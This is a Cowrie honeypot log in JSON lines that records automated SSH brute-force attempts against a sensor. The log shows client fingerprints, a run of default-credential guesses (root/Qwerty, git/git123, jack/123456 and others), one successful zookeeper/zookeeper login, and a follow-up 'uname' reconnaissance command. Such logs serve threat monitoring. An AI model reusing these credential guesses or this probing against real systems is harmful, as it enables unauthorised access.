{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:18.981601Z","src_ip":"192.109.200.237","session":"11f9ce5e0886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:19.302599Z","src_ip":"192.109.200.237","session":"11f9ce5e0886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:20.388014Z","src_ip":"192.109.200.237","session":"11f9ce5e0886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50252,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d2099745b7","protocol":"ssh","message":"New connection: 192.109.200.237:50252 (159.203.135.109:22) [session: 99d2099745b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:22.463043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:22.467566Z","src_ip":"192.109.200.237","session":"99d2099745b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:22.549945Z","src_ip":"192.109.200.237","session":"99d2099745b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:22.800210Z","src_ip":"192.109.200.237","session":"99d2099745b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:23.927987Z","src_ip":"192.109.200.237","session":"99d2099745b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50262,"dst_ip":"159.203.135.109","dst_port":22,"session":"c94a412559f0","protocol":"ssh","message":"New connection: 192.109.200.237:50262 (159.203.135.109:22) [session: c94a412559f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:25.992421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:25.997247Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:26.081242Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:26.487051Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:26.687106Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:26.690124Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:26.775100Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:26.780374Z","src_ip":"192.109.200.237","session":"c94a412559f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50290,"dst_ip":"159.203.135.109","dst_port":22,"session":"391ffe093472","protocol":"ssh","message":"New connection: 192.109.200.237:50290 (159.203.135.109:22) [session: 391ffe093472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:29.813531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:29.817969Z","src_ip":"192.109.200.237","session":"391ffe093472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:29.899629Z","src_ip":"192.109.200.237","session":"391ffe093472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:30.145933Z","src_ip":"192.109.200.237","session":"391ffe093472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:31.231239Z","src_ip":"192.109.200.237","session":"391ffe093472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53826,"dst_ip":"10.17.0.5","dst_port":23,"session":"0991933b5bee","protocol":"telnet","message":"New connection: 50.6.8.71:53826 (10.17.0.5:23) [session: 0991933b5bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:32.752540Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43144,"dst_ip":"159.203.135.109","dst_port":22,"session":"957c0a3460a8","protocol":"ssh","message":"New connection: 192.109.200.237:43144 (159.203.135.109:22) [session: 957c0a3460a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:33.338085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:33.344791Z","src_ip":"192.109.200.237","session":"957c0a3460a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:33.426552Z","src_ip":"192.109.200.237","session":"957c0a3460a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:33.726344Z","src_ip":"192.109.200.237","session":"957c0a3460a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:34.811972Z","src_ip":"192.109.200.237","session":"957c0a3460a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43172,"dst_ip":"159.203.135.109","dst_port":22,"session":"b744454c6284","protocol":"ssh","message":"New connection: 192.109.200.237:43172 (159.203.135.109:22) [session: b744454c6284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:36.925219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:36.929636Z","src_ip":"192.109.200.237","session":"b744454c6284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:37.011441Z","src_ip":"192.109.200.237","session":"b744454c6284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:37.257343Z","src_ip":"192.109.200.237","session":"b744454c6284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:38.342284Z","src_ip":"192.109.200.237","session":"b744454c6284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50854,"dst_ip":"159.203.135.109","dst_port":22,"session":"3417ea6a1c42","protocol":"ssh","message":"New connection: 89.108.118.91:50854 (159.203.135.109:22) [session: 3417ea6a1c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:39.664650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:39.672058Z","src_ip":"89.108.118.91","session":"3417ea6a1c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:39.800963Z","src_ip":"89.108.118.91","session":"3417ea6a1c42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:40.189934Z","src_ip":"89.108.118.91","session":"3417ea6a1c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50466,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e1b64b8e78c","protocol":"ssh","message":"New connection: 192.109.200.237:50466 (159.203.135.109:22) [session: 1e1b64b8e78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:40.318610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:40.323088Z","src_ip":"192.109.200.237","session":"1e1b64b8e78c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:40.405232Z","src_ip":"192.109.200.237","session":"1e1b64b8e78c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:40.666382Z","src_ip":"192.109.200.237","session":"1e1b64b8e78c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:41.321961Z","src_ip":"89.108.118.91","session":"3417ea6a1c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:41.750202Z","src_ip":"192.109.200.237","session":"1e1b64b8e78c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"67a3711d60fe","protocol":"ssh","message":"New connection: 62.133.62.83:38964 (159.203.135.109:22) [session: 67a3711d60fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:43.740844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:21:43.746208Z","src_ip":"62.133.62.83","session":"67a3711d60fe","protocol":"ssh"}
